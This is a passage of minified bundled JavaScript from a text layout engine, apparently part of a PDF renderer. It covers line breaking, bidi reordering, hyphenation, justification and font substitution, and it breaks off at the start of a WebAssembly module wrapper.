Object.assign({},t,{string:i,runs:l})},_W=8230,Ske=String.fromCharCode(_W),Bke=e=&gt;{if(!e.encode)return _W;const[t]=e.encode(Ske);return parseInt(t[0],16)},QQ=e=&gt;{const t=eh(e)?.runs||[],r=eh(t)?.attributes?.font[0];if(r){const n=e.length-1,i=Bke(r),s=r.glyphForCodePoint(i),o=kW(s,Cke(e[n]));return Object.assign([],e,{[n]:o})}return e},DW=(e,t)=&gt;{const r=Object.assign({},t.attributes);return delete r[e],Object.assign({},t,{attributes:r})},DE=e=&gt;{const{font:t,attachment:r}=e.attributes,n=r?.height||0,i=typeof t==&quot;string&quot;?0:t?.[0]?.ascent||0;return Math.max(n,i*rx(e))},TW=e=&gt;{const t=e.attributes?.font,r=typeof t==&quot;string&quot;?0:t?.[0]?.descent||0;return rx(e)*r},kke=e=&gt;{const t=e.attributes?.font;return(typeof t==&quot;string&quot;?0:t?.[0]?.lineGap||0)*rx(e)},RW=e=&gt;e.attributes?.lineHeight||kke(e)+DE(e)-TW(e),PW=e=&gt;{const t=(r,n)=&gt;Math.max(r,RW(n));return e.runs.reduce(t,0)},_ke=(e,t)=&gt;{const r=Math.max(e.x,t.x),n=Math.min(e.x+e.width,t.x+t.width),i=Math.max(e.y,t.y),s=Math.min(e.y+e.height,t.y+t.height);return n&gt;=r&amp;&amp;s&gt;=i},Dke=(e,t)=&gt;{if(!_ke(t,e))return[e];const r=t.x,n=t.x+t.width,i=e.x,s=e.x+e.width,o=Object.assign({},e,{width:r-i}),l=Object.assign({},e,{x:n,width:s-n});return[o,l].filter(c=&gt;c.width&gt;0)},Tke=(e,t)=&gt;{let r=[e];for(let n=0;n&lt;t.length;n+=1){const i=t[n];r=r.reduce((s,o)=&gt;{const l=Dke(o,i);return s.concat(l)},[])}return r},Rke=(e,t)=&gt;{const{excludeRects:r,...n}=e;if(!r)return[n];const i=[],s=Math.max(...r.map(l=&gt;l.y+l.height));let o=n;for(;o.y&lt;s;){const[l,c]=EW(o,t),d=Tke(l,r);o=c,i.push(...d)}return[...i,o]},Pke=&quot;￼&quot;,Qke=e=&gt;{if(!!e.string.includes(Pke))return e;const r=e.runs.map(n=&gt;DW(&quot;attachment&quot;,n));return Object.assign({},e,{runs:r})},Fke=(e,t,r)=&gt;{let n=e.shift(),i=n.y;return t.map((s,o)=&gt;{const l=o===0?r:0,c=s.runs?.[0]?.attributes||{},d=Math.max(PW(s),c.lineHeight);i+d&gt;n.y+n.height&amp;&amp;e.length&gt;0&amp;&amp;(n=e.shift(),i=n.y);const u={string:s.string,runs:s.runs,box:{x:n.x+l,y:i,width:n.width-l,height:d}};return i+=d,Qke(u)})},Oke=(e,t={})=&gt;(r,n)=&gt;{const i=PW(n),s=n.runs?.[0]?.attributes?.indent||0,o=Rke(r,i),l=o.map(d=&gt;d.width);l.unshift(l[0]-s);const c=e.linebreaker(t)(n,l);return Fke(o,c,s)},Lke=(e,t)=&gt;{const r=[];let n=0;for(let i=0;i&lt;t.length;i+=1){const s=t[i];if(n+=s.box.height,n&lt;e)r.push(s);else break}return r},Mke=(e,t,r)=&gt;n=&gt;{const i=[],s=[...n],o=Oke(e,t),l=Oa(r.maxLines)?1/0:r.maxLines,c=r.truncateMode===&quot;ellipsis&quot;;let d=l,u=gke(r),h=s.shift();for(;d&gt;0&amp;&amp;h;){const p=o(u,h),A=p.slice(0,d),y=xke(A),v=c&amp;&amp;p.length!==A.length;if(d-=A.length,u.height&gt;=y)i.push(v?QQ(A):A),u=Ake(y,u),h=s.shift();else{i.push(QQ(Lke(u.height,A)));break}}return i},Uke=e=&gt;{const{runs:t}=e;return t.length===0?0:t[0].start},zke=e=&gt;{const{runs:t}=e;return t.length===0?0:eh(t).end},QW=e=&gt;zke(e)-Uke(e),FQ=g8(),$ke=e=&gt;e.reduce((t,r)=&gt;{const n=r.end-r.start,i=lW(r.attributes.bidiLevel,n);return t.concat(i)},[]),Hke=(e,t)=&gt;{const r=[];for(let n=0;n&lt;e.length;n+=1)r[n]=n;return t.forEach(([n,i])=&gt;{const s=r.slice(n,i+1);for(let o=s.length-1;o&gt;=0;o-=1)r[i-o]=s[o]}),r},OQ=(e,t,r)=&gt;{for(let n=0;n&lt;e.length;n+=1){const i=e[n],s=i.glyphIndices[r-i.start];if(r&gt;=i.start&amp;&amp;r&lt;i.end)return i[t][s]}throw new Error(`index ${r} out of range`)},qke=e=&gt;{const t=$ke(e.runs),n=e.runs[0]?.attributes.direction===&quot;rtl&quot;?1:0,o={paragraphs:[{start:0,end:QW(e)-1,level:n}],levels:t},l=FQ.getReorderSegments(e.string,o);if(l.length===0)return e;const c=Hke(e.string,l),d=FQ.getReorderedString(e.string,o),u=e.runs.map(h=&gt;{const p=c.slice(h.start,h.end),A=[],y=[],v=new Set;for(let w=0;w&lt;p.length;w+=1){const j=p[w],E=OQ(e.runs,&quot;glyphs&quot;,j);v.has(E.id)||(A.push(E),y.push(OQ(e.runs,&quot;positions&quot;,j)),E.isLigature&amp;&amp;v.add(E.id))}return{...h,glyphs:A,positions:y}});return{box:e.box,runs:u,string:d}},Gke=e=&gt;e.map(qke),Vke=()=&gt;e=&gt;e.map(Gke),Wke=123,Kke=(e=[])=&gt;e.reduce((t,r)=&gt;{const n=r?.codePoints||[Wke];if(t.length===0)return n.map(()=&gt;0);const i=t[t.length-1],s=n.map(()=&gt;i+1);return[...t,...s]},[]),Yke=e=&gt;e.attributes?.characterSpacing||0,Zke=(e,t)=&gt;{const r=rx(e),n=Yke(e);return t.map((i,s)=&gt;{const l=s===t.length?0:n;return Object.assign({},i,{xAdvance:i.xAdvance*r+l,yAdvance:i.yAdvance*r,xOffset:i.xOffset*r,yOffset:i.yOffset*r})})},Jke=e=&gt;t=&gt;{const{start:r,end:n,attributes:i={}}=t,{font:s}=i;if(!s)return{...t,glyphs:[],glyphIndices:[],positions:[]};const o=e.slice(r,n);if(typeof s==&quot;string&quot;)throw new Error(&quot;Invalid font&quot;);const l=s[0].layout(o,void 0,void 0,void 0,&quot;ltr&quot;),c=Zke(t,l.positions),d=Kke(l.glyphs);return{...t,positions:c,glyphIndices:d,glyphs:l.glyphs}},Xke=()=&gt;e=&gt;{const t=e.runs.map(Jke(e.string));return Object.assign({},e,{runs:t})},e_e=e=&gt;{if(!e.positions)return e;const t=e.attributes?.font?.[0]?.unitsPerEm||0,r=(e.attributes?.yOffset||0)*t,n=e.positions.map(i=&gt;Object.assign({},i,{yOffset:r}));return Object.assign({},e,{positions:n})},t_e=()=&gt;e=&gt;{const t=e.runs.map(e_e);return Object.assign({},e,{runs:t})},r_e=e=&gt;e.sort((t,r)=&gt;t.start-r.start||t.end-r.end),LQ=e=&gt;e.start===e.end,n_e=(e,t)=&gt;e[1]-t[1]||e[3]-t[3],i_e=e=&gt;e.reduce((r,n,i)=&gt;r.concat([[&quot;start&quot;,n.start,n.attributes,i],[&quot;end&quot;,n.end,n.attributes,i]]),[]).sort(n_e),a_e=e=&gt;e.reduce((t,r)=&gt;{const n=Object.assign({},t.attributes,r.attributes);return Object.assign({},r,{attributes:n})},{}),s_e=e=&gt;{const t=e.reduce((r,n)=&gt;(r[n.start]||(r[n.start]=[]),r[n.start].push(n),r),[]);return Object.values(t)},o_e=e=&gt;s_e(e).map(a_e),l_e=e=&gt;{const t=[],r=i_e(e);let n=-1,i={};const s=[];for(let o=0;o&lt;r.length;o+=1){const[l,c,d]=r[o];if(n!==-1&amp;&amp;n&lt;c&amp;&amp;t.push({start:n,end:c,attributes:i,glyphIndices:[],glyphs:[],positions:[]}),l===&quot;start&quot;)s.push(d),i=Object.assign({},i,d);else{i={};for(let u=0;u&lt;s.length;u+=1)s[u]===d?s.splice(u--,1):i=Object.assign({},i,s[u])}n=c}return t},c_e=(e=[])=&gt;{const t=o_e(e.filter(n=&gt;LQ(n))),r=l_e(e.filter(n=&gt;!LQ(n)));return r_e(t.concat(r))},FW=()=&gt;({string:&quot;&quot;,runs:[]}),u_e=e=&gt;{const t=e.runs.map(r=&gt;DW(&quot;font&quot;,r));return Object.assign({},e,{runs:t})},d_e=e=&gt;t=&gt;{if(Oa(t))return FW();const{string:r}=t,{fontSubstitution:n,scriptItemizer:i,bidi:s}=e,{runs:o}=u_e(t),{runs:l}=i()(t),{runs:c}=n()(t),{runs:d}=s()(t),u=d.concat(c).concat(l).concat(o);return{string:r,runs:c_e(u)}},f_e=()=&gt;e=&gt;{const t=[];let r=0,n=e.string.indexOf(`
`)+1;for(;n&gt;0;)t.push(r1(r,n,e)),r=n,n=e.string.indexOf(`
`,n)+1;return r===0?t.push(e):r&lt;e.string.length&amp;&amp;t.push(r1(r,QW(e),e)),t},OW=e=&gt;e.reduce((t,r)=&gt;t+(r.xAdvance||0),0),v8=e=&gt;OW(e.positions||[]),y8=e=&gt;{const t=(r,n)=&gt;r+v8(n);return e.runs.reduce(t,0)},h_e=32,b8=e=&gt;(e?.codePoints||[]).includes(h_e),m_e=e=&gt;{const t=e.glyphs||[],r=e.positions||[],n=t.findIndex(i=&gt;!b8(i));return r.slice(0,n)},p_e=e=&gt;m_e(e).reduce((r,n)=&gt;r+(n.xAdvance||0),0),g_e=e=&gt;{const t=e.runs||[];return p_e(t[0])},A_e=e=&gt;{const t=eQ(e.glyphs||[]),r=eQ(e.positions||[]),n=t.findIndex(i=&gt;!b8(i));return r.slice(0,n)},x_e=e=&gt;A_e(e).reduce((r,n)=&gt;r+(n.xAdvance||0),0),v_e=e=&gt;{const t=e.runs||[];return x_e(eh(t))},y_e=e=&gt;Ov(0,e.end-e.start-1,e),b_e=e=&gt;{const t=F6e(e.string),r=R6e(-1,y_e,e.runs);return Object.assign({},e,{string:t,runs:r})},w_e={center:.5,right:1},E_e=e=&gt;eh(e.string)===`
`?b_e(e):e,C_e=e=&gt;g_e(e)+(e.overflowLeft||0),I_e=e=&gt;v_e(e)+(e.overflowRight||0),j_e=e=&gt;{const t=C_e(e),r=I_e(e),n=e.box.x-t,i=e.box.width+t+r,s=Object.assign({},e.box,{x:n,width:i});return Object.assign({},e,{box:s,overflowLeft:t,overflowRight:r})},N_e=(e,t,r)=&gt;n=&gt;{const i=y8(n),s=w_e[r]||0,o=Math.max(0,n.box.width-i),l=r===&quot;justify&quot;||i&gt;n.box.width,c=n.box.x+o*s,d=Object.assign({},n.box,{x:c}),u=Object.assign({},n,{box:d});return l?e.justification(t)(u):u},S_e=e=&gt;{let t=0,r=0,n=0,i=0;const s=e.runs.map(o=&gt;{const l=RW(o),c=DE(o),d=TW(o),u=v8(o);return n=Math.max(n,l),t=Math.max(t,c),r=Math.max(r,d),i+=u,Object.assign({},o,{height:l,ascent:c,descent:d,xAdvance:u})});return Object.assign({},e,{runs:s,height:n,ascent:t,descent:r,xAdvance:i})},B_e=(e,t)=&gt;(r,n,i)=&gt;{const s=n===i.length-1,o=r.runs?.[0]?.attributes||{},l=s?o.alignLastLine:o.align;return Nc(S_e,e.textDecoration(),N_e(e,t,l),j_e,E_e)(r)},k_e=(e,t)=&gt;r=&gt;{const n=B_e(e,t);return r.map(i=&gt;i.map(n))},__e=65532,D_e=e=&gt;e.codePoints.includes(__e),T_e=e=&gt;{if(!e.positions)return e;const t=e.glyphs||[],r=e.attributes?.attachment;if(!r)return e;const n=e.positions.map((i,s)=&gt;{const o=t[s];return r.width&amp;&amp;D_e(o)?Object.assign({},i,{xAdvance:r.width}):Object.assign({},i)});return Object.assign({},e,{positions:n})},R_e=()=&gt;e=&gt;{const t=e.runs.map(T_e);return Object.assign({},e,{runs:t})},P_e=e=&gt;({align:e.align||(e.direction===&quot;rtl&quot;?&quot;right&quot;:&quot;left&quot;),alignLastLine:e.alignLastLine||(e.align===&quot;justify&quot;?&quot;left&quot;:e.align||&quot;left&quot;),attachment:e.attachment||null,backgroundColor:e.backgroundColor||null,bullet:e.bullet||null,characterSpacing:e.characterSpacing||0,color:e.color||&quot;black&quot;,direction:e.direction||&quot;ltr&quot;,features:e.features||[],fill:e.fill!==!1,font:e.font||[],fontSize:e.fontSize||12,hangingPunctuation:e.hangingPunctuation||!1,hyphenationFactor:e.hyphenationFactor||0,indent:e.indent||0,justificationFactor:e.justificationFactor||1,lineHeight:e.lineHeight||null,lineSpacing:e.lineSpacing||0,link:e.link||null,marginLeft:e.marginLeft||e.margin||0,marginRight:e.marginRight||e.margin||0,opacity:e.opacity,paddingTop:e.paddingTop||e.padding||0,paragraphSpacing:e.paragraphSpacing||0,script:e.script||null,shrinkFactor:e.shrinkFactor||0,strike:e.strike||!1,strikeColor:e.strikeColor||e.color||&quot;black&quot;,strikeStyle:e.strikeStyle||&quot;solid&quot;,stroke:e.stroke||!1,underline:e.underline||!1,underlineColor:e.underlineColor||e.color||&quot;black&quot;,underlineStyle:e.underlineStyle||&quot;solid&quot;,verticalAlign:e.verticalAlign||null,wordSpacing:e.wordSpacing||0,yOffset:e.yOffset||0}),Q_e=e=&gt;{const t=P_e(e.attributes);return Object.assign({},e,{attributes:t})},F_e=()=&gt;e=&gt;{const t=e.string||&quot;&quot;,r=(e.runs||[]).map(Q_e);return{string:t,runs:r}},O_e=()=&gt;e=&gt;(e.runs.forEach(t=&gt;{const{attributes:r}=t,{verticalAlign:n}=r;n===&quot;sub&quot;?r.yOffset=-.2:n===&quot;super&quot;&amp;&amp;(r.yOffset=.4)}),e),L_e=g8(),M_e=e=&gt;e.reduce((t,r)=&gt;{const n=r.end-r.start,i=lW(r.attributes.bidiLevel,n);return t.concat(i)},[]),U_e=()=&gt;e=&gt;{const t=M_e(e.runs);let r=&quot;&quot;;return e.string.split(&quot;&quot;).forEach((i,s)=&gt;{const l=t[s]%2===1?L_e.getMirroredCharacter(e.string.charAt(s)):null;r+=l||i}),{...e,string:r}},LW=e=&gt;(t,r,n={})=&gt;{const i=Nc(t_e(),R_e(),O_e(),pke(e,n),Xke(),U_e(),d_e(e)),s=o=&gt;o.map(i);return Nc(k_e(e,n),Vke(),Mke(e,n,r),s,f_e(),F_e())(t)},z_e=g8(),MW=()=&gt;e=&gt;{const{string:t}=e,r=e.runs[0]?.attributes.direction,{levels:n}=z_e.getEmbeddingLevels(t,r);let i=null,s=0,o=0;const l=[];for(let d=0;d&lt;n.length;d+=1){const u=n[d];u!==i&amp;&amp;(i!==null&amp;&amp;l.push({start:s,end:o,attributes:{bidiLevel:i}}),s=o,i=u),o+=1}return s&lt;t.length&amp;&amp;l.push({start:s,end:t.length,attributes:{bidiLevel:i}}),{string:t,runs:l}},Sb=1e4,$_e=(e,t,r)=&gt;{let n=null,i=1/0;const s={width:0,stretch:0,shrink:0},o=t[Math.min(r,t.length-1)],l=c=&gt;{const d=&quot;stretch&quot;in c?c.stretch:null;if(s.width&lt;o)return d&amp;&amp;s.stretch-d&gt;0?(o-s.width)/s.stretch:Sb;const u=&quot;shrink&quot;in c?c.shrink:null;return s.width&gt;o?u&amp;&amp;s.shrink-u&gt;0?(o-s.width)/s.shrink:Sb:0};for(let c=0;c&lt;e.length;c+=1){const d=e[c];if(d.type===&quot;box&quot;&amp;&amp;(s.width+=d.width),d.type===&quot;glue&quot;&amp;&amp;(s.width+=d.width,s.stretch+=d.stretch,s.shrink+=d.shrink),s.width-s.shrink&gt;o){if(n===null){let u=c===0?c+1:c;for(;u&lt;e.length&amp;&amp;(e[u].type===&quot;glue&quot;||e[u].type===&quot;penalty&quot;);)u++;n=u-1}break}if(d.type===&quot;penalty&quot;||d.type===&quot;glue&quot;){const u=l(d),h=d.type===&quot;penalty&quot;?d.penalty:0,p=100*Math.abs(u)**3+h;i&gt;=p&amp;&amp;(n=c,i=p)}}return s.width-s.shrink&gt;o?n:null},H_e=(e,t)=&gt;{let r=0,n=0,i=e;const s=[0];for(;i.length&gt;0;){const o=$_e(i,t,n);o!==null?(r+=o,s.push(r),i=i.slice(o+1,i.length),r++,n++):i=[]}return s};class q_e{data;prev;next;constructor(t){this.data=t,this.prev=null,this.next=null}}class y3{static Node=q_e;head;tail;listSize;listLength;constructor(){this.head=null,this.tail=null,this.listSize=0,this.listLength=0}isLinked(t){return!(t&amp;&amp;t.prev===null&amp;&amp;t.next===null&amp;&amp;this.tail!==t&amp;&amp;this.head!==t||this.isEmpty())}size(){return this.listSize}isEmpty(){return this.listSize===0}first(){return this.head}last(){return this.last}forEach(t){let r=this.head;for(;r!==null;)t(r),r=r.next}at(t){let r=this.head,n=0;if(t&gt;=this.listLength||t&lt;0)return null;for(;r!==null;){if(t===n)return r;r=r.next,n+=1}return null}insertAfter(t,r){return this.isLinked(t)?(r.prev=t,r.next=t.next,t.next===null?this.tail=r:t.next.prev=r,t.next=r,this.listSize+=1,this):this}insertBefore(t,r){return this.isLinked(t)?(r.prev=t.prev,r.next=t,t.prev===null?this.head=r:t.prev.next=r,t.prev=r,this.listSize+=1,this):this}push(t){return this.head===null?this.unshift(t):this.insertAfter(this.tail,t),this}unshift(t){return this.head===null?(this.head=t,this.tail=t,t.prev=null,t.next=null,this.listSize+=1):this.insertBefore(this.head,t),this}remove(t){return this.isLinked(t)?(t.prev===null?this.head=t.next:t.prev.next=t.next,t.next===null?this.tail=t.prev:t.next.prev=t.prev,this.listSize-=1,this):this}}function MQ(e,t,r,n,i,s){return{position:e,demerits:t,line:r,fitnessClass:n,totals:i||{width:0,stretch:0,shrink:0},previous:s}}function G_e(e,t,r,n,i,s){let o=r.width-i.totals.width,l=0,c=0;const d=s&lt;t.length?t[s-1]:t[t.length-1];return e[n].type===&quot;penalty&quot;&amp;&amp;(o+=e[n].width),o&lt;d?(l=r.stretch-i.totals.stretch,l&gt;0?(d-o)/l:fo.infinity):o&gt;d?(c=r.shrink-i.totals.shrink,c&gt;0?(d-o)/c:fo.infinity):0}function V_e(e,t,r){const n={width:t.width,stretch:t.stretch,shrink:t.shrink};for(let i=r;i&lt;e.length;i+=1){const s=e[i];if(s.type===&quot;glue&quot;)n.width+=s.width,n.stretch+=s.stretch,n.shrink+=s.shrink;else if(s.type===&quot;box&quot;||s.type===&quot;penalty&quot;&amp;&amp;s.penalty===-fo.infinity&amp;&amp;i&gt;r)break}return n}function W_e(e){const t=[];if(e.size()===0)return[];let r={data:{demerits:1/0}};for(e.forEach(n=&gt;{n.data.demerits&lt;r.data.demerits&amp;&amp;(r=n)});r!==null;)t.push(r.data.position),r=r.data.previous;return t.reverse()}const fo=(e,t,r)=&gt;{const n={demerits:{line:10,flagged:100,fitness:3e3},tolerance:r||3},i=new y3,s={width:0,stretch:0,shrink:0},o=t;i.push(new y3.Node(MQ(0,0,0,0,void 0,null)));function l(c,d,u){let h=i.first();for(;h!==null;){let p=0;const A=[{active:void 0,demerits:1/0},{active:void 0,demerits:1/0},{active:void 0,demerits:1/0},{active:void 0,demerits:1/0}];for(;h!==null;){p=h.data.line+1;const v=G_e(u,o,s,d,h.data,p);if((v&lt;-1||c.type===&quot;penalty&quot;&amp;&amp;c.penalty===-fo.infinity)&amp;&amp;i.remove(h),v&gt;=-1&amp;&amp;v&lt;=n.tolerance){const w=100*Math.pow(Math.abs(v),3);let j=0;c.type===&quot;penalty&quot;&amp;&amp;c.penalty&gt;=0?j=Math.pow(n.demerits.line+w,2)+Math.pow(c.penalty,2):c.type===&quot;penalty&quot;&amp;&amp;c.penalty!==-fo.infinity?j=Math.pow(n.demerits.line+w,2)-Math.pow(c.penalty,2):j=Math.pow(n.demerits.line+w,2),c.type===&quot;penalty&quot;&amp;&amp;u[h.data.position].type===&quot;penalty&quot;&amp;&amp;(j+=n.demerits.flagged*c.flagged*u[h.data.position].flagged);let E;v&lt;-.5?E=0:v&lt;=.5?E=1:v&lt;=1?E=2:E=3,Math.abs(E-h.data.fitnessClass)&gt;1&amp;&amp;(j+=n.demerits.fitness),j+=h.data.demerits,j&lt;A[E].demerits&amp;&amp;(A[E]={active:h,demerits:j})}if(h=h.next,h!==null&amp;&amp;h.data.line&gt;=p)break}const y=V_e(u,s,d);for(let v=0;v&lt;A.length;v+=1){const w=A[v];if(w.demerits===1/0)continue;const j=new y3.Node(MQ(d,w.demerits,w.active.data.line+1,v,y,w.active));h!==null?i.insertBefore(h,j):i.push(j)}}}return e.forEach((c,d,u)=&gt;{if(c.type===&quot;box&quot;){s.width+=c.width;return}if(c.type===&quot;glue&quot;){d&gt;0&amp;&amp;u[d-1].type===&quot;box&quot;&amp;&amp;l(c,d,u),s.width+=c.width,s.stretch+=c.stretch,s.shrink+=c.shrink;return}c.type===&quot;penalty&quot;&amp;&amp;c.penalty!==fo.infinity&amp;&amp;l(c,d,u)}),W_e(i)};fo.infinity=1e4;fo.glue=(e,t,r,n,i)=&gt;({type:&quot;glue&quot;,start:t,end:r,width:e,stretch:n,shrink:i});fo.box=(e,t,r,n=!1)=&gt;({type:&quot;box&quot;,width:e,start:t,end:r,hyphenated:n});fo.penalty=(e,t,r)=&gt;({type:&quot;penalty&quot;,width:e,penalty:t,flagged:r});const K_e=(e,t)=&gt;{const r=t.start+e,n=t.end+e;return Object.assign({},t,{start:r,end:n})},Y_e=e=&gt;e.end-e.start,Z_e=(e,t)=&gt;{const r=e.end+Y_e(t),n=(e.glyphs||[]).concat(t.glyphs||[]),i=(e.positions||[]).concat(t.positions||[]),s=Object.assign({},e.attributes,t.attributes),o=e.glyphIndices||[],l=eh(o)||0,c=(t.glyphIndices||[]).map(u=&gt;u+l+1),d=CW(o.concat(c));return Object.assign({},e,{end:r,glyphs:n,positions:i,attributes:s,glyphIndices:d})},J_e=(e,t,r)=&gt;{if(!t)return r;const n=Ov(0,e,r),i=Ov(e,1/0,r);return Z_e(SW(t,n),i)},X_e=(e,t,r)=&gt;{const n=x8(r),i=jW(t)?NW(t,n):t;return J_e(e,i,r)},eDe=(e,t)=&gt;e6(e,t.runs),tDe=(e,t,r)=&gt;{const n=eDe(e,r);if(n===-1)return kW(t,r);const i=[t],s=r.string.slice(0,e)+BW(i)+r.string.slice(e),o=r.runs.map((l,c)=&gt;c===n?X_e(e-l.start,t,l):c&gt;n?K_e(i.length,l):l);return Object.assign({},r,{string:s,runs:o})},rDe=(e,t,r)=&gt;{const n=r.start||0,i=Math.max(0,zw(e-n,r)),s=Math.max(0,zw(t-n,r)),o=(r.positions||[]).slice(i,s);return OW(o)},nDe=(e,t,r)=&gt;IW(e,t,r.runs).reduce((i,s)=&gt;i+rDe(e,t,s),0),iDe=45,aDe=5,sDe=50,Bb={width:3,stretch:6,shrink:9},oDe=(e,t,r)=&gt;{let n=0,i=null;const s=r.reduce((o,l)=&gt;{const c=t[l],d=t[l-1];if(l===t.length-1)return o;let u;return c.type===&quot;penalty&quot;?(i=d.end,u=r1(n,i,e),u=tDe(u.string.length,iDe,u)):(i=c.end,u=r1(n,i,e)),n=i,[...o,u]},[]);return s.push(r1(n,e.string.length,e)),s},lDe=(e,{align:t},r)=&gt;{let n=0;const i=5,{syllables:s}=e,o=r.hyphenationPenalty||(t===&quot;justify&quot;?100:600),l=s.reduce((c,d,u)=&gt;{const h=nDe(n,n+d.length,e);if(d.trim()===&quot;&quot;){const p=h*Bb.width/Bb.stretch,A=h*Bb.width/Bb.shrink,y=n+d.length;c.push(fo.glue(h,n,y,p,A))}else{const p=s[u+1]!==&quot; &quot;,A=n+d.length;c.push(fo.box(h,n,A,p)),s[u+1]&amp;&amp;p&amp;&amp;c.push(fo.penalty(i,o,1))}return n+=d.length,c},[]);return l.push(fo.glue(0,n,n,fo.infinity,0)),l.push(fo.penalty(0,-fo.infinity,1)),l},cDe=e=&gt;e.runs?.[0]?.attributes||{},UW=e=&gt;(t,r)=&gt;{let n=e.tolerance||4;const i=cDe(t),s=lDe(t,i,e);let o=fo(s,r,n);for(;o.length===0&amp;&amp;n&lt;sDe;)n+=aDe,o=fo(s,r,n);return(o.length===0||o.length===1&amp;&amp;o[0]===0)&amp;&amp;(o=H_e(s,r)),oDe(t,s,o.slice(1))};var j1;(function(e){e[e.GROW=0]=&quot;GROW&quot;,e[e.SHRINK=1]=&quot;SHRINK&quot;})(j1||(j1={}));const zW=1,$W=2,uDe={before:.5,after:.5,priority:zW,unconstrained:!1},dDe={before:.14453125,after:.14453125,priority:$W,unconstrained:!1},fDe={before:-.04296875,after:-.04296875,priority:zW,unconstrained:!1},hDe={before:-.04296875,after:-.04296875,priority:$W,unconstrained:!1},mDe=(e,t)=&gt;{const r=t.expandCharFactor||{},n=t.shrinkCharFactor||{};return e===j1.GROW?Object.assign({},dDe,r):Object.assign({},hDe,n)},pDe=(e,t)=&gt;{const r=t.expandWhitespaceFactor||{},n=t.shrinkWhitespaceFactor||{};return e===j1.GROW?Object.assign({},uDe,r):Object.assign({},fDe,n)},gDe=(e,t)=&gt;r=&gt;{const n=mDe(e,t),i=pDe(e,t),s=[];for(let o=0;o&lt;r.length;o+=1){let l;const c=r[o];b8(c)?(l=Object.assign({},i),o===r.length-1&amp;&amp;(l.before=0,o&gt;0&amp;&amp;(s[o-1].after=0))):c.isMark&amp;&amp;o&gt;0?(l=Object.assign({},s[o-1]),l.before=0,s[o-1].after=0):l=Object.assign({},n),s.push(l)}return s},ADe=(e,t,r)=&gt;{const n=e&gt;0?j1.GROW:j1.SHRINK,i=gDe(n,r),s=t.runs.reduce((o,l)=&gt;o.concat(i(l.glyphs)),[]);return s[0].before=0,s[s.length-1].after=0,s},UQ=0,b3=3,xDe=(e,t)=&gt;{let r=0;const n=[],i=[];for(let u=UQ;u&lt;=b3;u+=1)n[u]=i[u]=0;for(let u=0;u&lt;t.length;u+=1){const h=t[u],p=h.before+h.after;r+=p,n[h.priority]+=p,h.unconstrained&amp;&amp;(i[h.priority]+=p)}let s=-1,o=0,l=e,c;for(c=UQ;c&lt;=b3;c+=1){const u=n[c];if(u!==0){if(s===-1&amp;&amp;(s=c,o=u),Math.abs(l)&lt;=Math.abs(u)){n[c]=l/u,i[c]=0,l=0;break}if(n[c]=1,l-=u,i[c]!==0){i[c]=l/i[c],l=0;break}}}for(let u=c+1;u&lt;=b3;u+=1)n[u]=0,i[u]=0;l&gt;0&amp;&amp;s&gt;-1&amp;&amp;(n[s]=(o+(e-r))/o);const d=[];for(let u=0;u&lt;t.length;u+=1){const h=t[u],p=t[u+1];let A=h.after*n[h.priority];p&amp;&amp;(A+=p.before*n[p.priority]),h.unconstrained&amp;&amp;(A+=h.after*i[h.priority],p&amp;&amp;(A+=p.before*i[p.priority])),d.push(A)}return d},vDe=(e,t)=&gt;{let r=0;for(const n of t.runs)for(const i of n.positions)i.xAdvance+=e[r++];return t},HW=e=&gt;t=&gt;{const r=t.box.width-y8(t);if(r===0)return t;const n=ADe(r,t,e),i=xDe(r,n);return vDe(i,t)},zQ=e=&gt;{const t=(r,n)=&gt;Math.max(r,DE(n));return e.runs.reduce(t,0)},yDe=12,qW=()=&gt;e=&gt;{let t=e.overflowLeft||0;const r=e.overflowRight||0,n=y8(e)-r;e.decorationLines=[];for(let i=0;i&lt;e.runs.length;i+=1){const s=e.runs[i],o=Math.min(n-t,v8(s)),l=Math.max(.5,Math.floor(s.attributes.fontSize/yDe));if(s.attributes.underline){const d={rect:{x:t,y:zQ(e)+l*2,width:o,height:l},opacity:s.attributes.opacity,color:s.attributes.underlineColor||&quot;black&quot;,style:s.attributes.underlineStyle||&quot;solid&quot;};e.decorationLines.push(d)}if(s.attributes.strike){const c=zQ(e)-DE(s)/3,u={rect:{x:t,y:c,width:o,height:l},opacity:s.attributes.opacity,color:s.attributes.strikeColor||&quot;black&quot;,style:s.attributes.strikeStyle||&quot;solid&quot;};e.decorationLines.push(u)}t+=o}return e},bDe=[&quot;Common&quot;,&quot;Inherited&quot;,&quot;Unknown&quot;],GW=()=&gt;e=&gt;{const{string:t}=e;let r=&quot;Unknown&quot;,n=0,i=0;const s=[];if(!t)return FW();for(let l=0;l&lt;t.length;l+=1){const c=t[l],d=c.codePointAt(0),u=Mge.getScript(d);u!==r&amp;&amp;!bDe.includes(u)&amp;&amp;(r!==&quot;Unknown&quot;&amp;&amp;s.push({start:n,end:i,attributes:{script:r}}),n=i,r=u),i+=c.length}return n&lt;t.length&amp;&amp;s.push({start:n,end:t.length,attributes:{script:r}}),{string:t,runs:s}},VW=&quot;­&quot;,wDe=cke(hke),EDe=e=&gt;e.split(VW),kb={},CDe=e=&gt;{const t=e.includes(VW)?e:wDe(e);return EDe(t)},WW=()=&gt;e=&gt;{const t=`_${e}`;return Oa(e)?[]:(kb[t]||(kb[t]=CDe(e)),kb[t])},IDe=[173],$Q=e=&gt;e.attributes.fontSize||12,jDe=(e,t,r)=&gt;{const n=[...t,r];for(let i=0;i&lt;n.length;i+=1){const s=n[i];if(!IDe.includes(e)&amp;&amp;s&amp;&amp;s.hasGlyphForCodePoint&amp;&amp;s.hasGlyphForCodePoint(e))return s}return t.at(-1)},KW=()=&gt;({string:e,runs:t})=&gt;{let r=null,n=null,i=0,s=0;const o=[];for(let l=0;l&lt;t.length;l+=1){const c=t[l];if(e.length===0){o.push({start:0,end:0,attributes:{font:c.attributes.font}});break}const d=e.slice(c.start,c.end);for(let u=0;u&lt;d.length;u+=1){const h=d[u],p=h.codePointAt(0),A=jDe(p,c.attributes.font,r),y=$Q(c);(A!==r||y!==n||A.unitsPerEm!==r.unitsPerEm)&amp;&amp;(r&amp;&amp;o.push({start:i,end:s,attributes:{font:[r],scale:n/r.unitsPerEm}}),r=A,n=y,i=s),s+=h.length}}if(i&lt;e.length){const l=$Q(eh(t));o.push({start:i,end:e.length,attributes:{font:[r],scale:l/r.unitsPerEm}})}return{string:e,runs:o}};var NDe=(()=&gt;{var e=import.meta.url;return(function(t){t=t||{};var r;r||(r=typeof t&lt;&quot;u&quot;?t:{});var n,i;r.ready=new Promise(function(me,pe){n=me,i=pe});var s=Object.assign({},r),o=&quot;&quot;;typeof 